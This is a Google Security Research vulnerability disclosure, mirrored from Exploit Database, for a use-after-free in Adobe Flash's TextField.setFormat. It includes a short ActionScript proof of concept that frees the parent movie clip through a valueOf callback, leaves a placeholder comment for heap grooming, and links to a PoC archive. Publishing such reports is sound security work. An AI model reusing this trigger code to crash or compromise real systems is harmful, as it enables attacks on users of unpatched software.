Adobe Flash TextField.setFormat – Use-After-Free

• Exploit Database
• 76 阅读

• 作者： Google Security Research
  日期： 2015-12-18
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39046/

• Source: https://code.google.com/p/google-security-research/issues/detail?id=586
  
  The TextField setFormat method contains a use-after-free. If an integer parameter has valueOf defined, or the object parameter overrides a constructor, this method can free the TextField parent, which is subsequently used.
  
  A minimal PoC is as follows:
  
  var times = 0;
  var mc = this.createEmptyMovieClip("mc", 101);
  var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
  var f = new TextFormat();
  tf.setFormat( {valueOf : func}, 2, f);
  
  function func(){
  
  if(times == 0){
   times++;
   return 0;
  
   }
  
  	mc.removeMovieClip();
  
  // Fix heap here
  
  	return 0;
  	
  	}
  
  A sample swf and fla are attached.
  
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39046.zip
  

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